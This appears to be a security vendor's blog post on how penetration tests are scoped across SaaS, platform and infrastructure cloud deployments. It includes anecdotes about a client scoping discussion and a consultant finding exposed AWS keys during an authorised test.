Now, the only thing to worry about is the data within the application and the users themselves.  Everything else — including virtual machine deployment, operating system installation and upkeep, patch management of the operation system and the software installed on it, and the code base, to name a few  — is completely removed from worry. Imagine how much overhead you can now dedicate to other parts of the business. Windows Admins, web app developers, infosec staff, and even IT staff now have less to worry about. However, if you’re looking to have a pentest in this kind of environment, just know that there is not a whole lot that can actually be done.  

Application exploits, for example, are OUT of scope. The items that are IN scope for this deployment model are the following:

  • Leveraging privileges and attempting to acquire data
  • Adding user accounts or elevating privileges

That’s it! The only thing that can be attacked is the users themselves, via password attacks, or the data that is held within the application — but that’s only if authentication is bypassed.

Those above examples are not made up from Rapid7’s perspective either.  These are industry-wide standards that cloud providers have created. These types of deployments are specifically designed to help reduce liability and to increase not only the capabilities of an organization but also its speed. These are known as a “shared platform” model.

As-a-service example

Recently, we had a discussion with a client who needed a pentest performed on their web application. Their web app was deployed from a third-party cloud provider, which ended up using Google Cloud Platform on their back end. After a consultant discovered that this client had deployed their web application via the SaaS model, I explained that, due to the SaaS deployment, application exploitation was out of scope, and the only attempts that could be made would be password attacks and to go after the data.

Now, obviously, education needs to happen all around, but again, the cloud isn’t new. After about an hour of discussing how their deployment looked, the client then asked a very interesting question: “How can I get to the point where we make the application available to fully attempt exploitation against it?” I was befuddled, and quite simply, the answer was, “Why would you want to do that?” You see, by using SaaS, you remove liability from worrying about this sort of issue, which the organization may not have the capacity or budget to address. SaaS is click-and-go, and the software provider is now at risk of not providing a secured platform for content delivery.  

After I had explained this to the client, they quickly understood that SaaS is the way to go, and transforming into a PaaS deployment model would have actually required that they now hire additional headcount, including a web app developer.

It is this maturity that needs to happen throughout the industry to continue to maintain security within not just small companies, but large enterprises, too.

Digging deeper

Externally

There’ve been numerous breaches of customer data, and there’s typically a common culprit: a misconfigured S3 bucket, or discovered credentials to a cloud vendor's platform dashboard.  These all seem like very easy things to remedy, but performing an external pentest where the targets are the assets hosted by a cloud vendor will certainly show if there are misconfigurations or accidental access being provided. This can be treated like any normal external pentest, but with the sole focus on knowing these assets live within a cloud environment.

Internally

There are multiple considerations when discussing what is “internal” to a cloud environment. Here, we’ll dig into the differences between platform and infrastructure.

Platform vs. infrastructure

In order to move or create assets within a cloud environment, one must first set up an account with the cloud vendor of choice. A username and password are created, then a user logs into the web application dashboard of the cloud vendor, and finally, assets are created and deployed to provide the functionality that is needed. The platform that the user is logged into is one aspect of an “internal” pentest against a cloud environment.  

Platform pentest example

There I was, doing a thick client pentest against an executable. I installed the application on my Windows VM, started up a few more apps to hook into the running processes, and off to the races I went.

One of the more basic steps in the process is to check the installation files. Within the directory, I find an .INI file. I opened this file with a text editor, and I was greeted with an Amazon AWS Access Key ID and SecretAccessKey! Wow, did I get lucky. I fired up aws cli, punched in the access key ID and SecretAccessKey, along with the target IP address, and bam! I was in like Flynn.

Now, kudos go out to the client that didn’t provide this user with root access. However, I was still able to gain a ton of access with additional information. I stopped from there though, because this quickly turned into a cloud-style pentest. I called the client up right away and informed them of this information, and they were happy (not happy) that this was discovered.

Internal platform pentest

A platform pentest is like being given a domain account, in an assumed-breached scenario, on an internal pentest. It’s a “hey, if you can’t get creds, here’s a low-priv account to see what you can do with it” approach.

On a cloud platform pentest, we’re being given this account to attempt additional attacks, such as privilege escalation, launching of additional virtual machines, or using a function to inject code into containers that auto-deploy and dial back to a listening server each time. A virtual machine, preferably Kali Linux, will need to be deployed within the VPC, so you can perform your internal pentest from it.

Internal infrastructure pentest

This pentest is much easier to construct. It looks very similar to an internal, on-premise pentest. The client sets up a virtual machine inside of the VPC they want tested, then the consultant creates that public/private SSH keypair and provides the SSH public key to the client. The client allows specific source IPs to SSH into that VM, and the pentest begins.  

In my experience, a lot of clients only have one VPC, so that makes life a bit easier. However, as more and more people gain experience and knowledge with how to set up their cloud environments, VPC separation is becoming more prevalent. As an example, perhaps a customer utilizes functions to auto-deploy new “sites” each time one of their customers signs on to use their services. This function automatically creates a brand-new VPC, with separation from other VPCs (which are their other clients), virtual machines, databases, network connectivity, access into the VPC for their clients administration, user accounts, authentication, SSO, and more. In this scenario, we’d ask the client to create multiple VPCs and drop us into at least one of them. This way, we can then perform a tenant-to-tenant-style pentest, to see if it’s possible to break out of one segment to access another.

In part three, we’ll take a look at how the maturity of the client’s cloud implementation can impact the way pentests are carried out. Stay tuned!

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.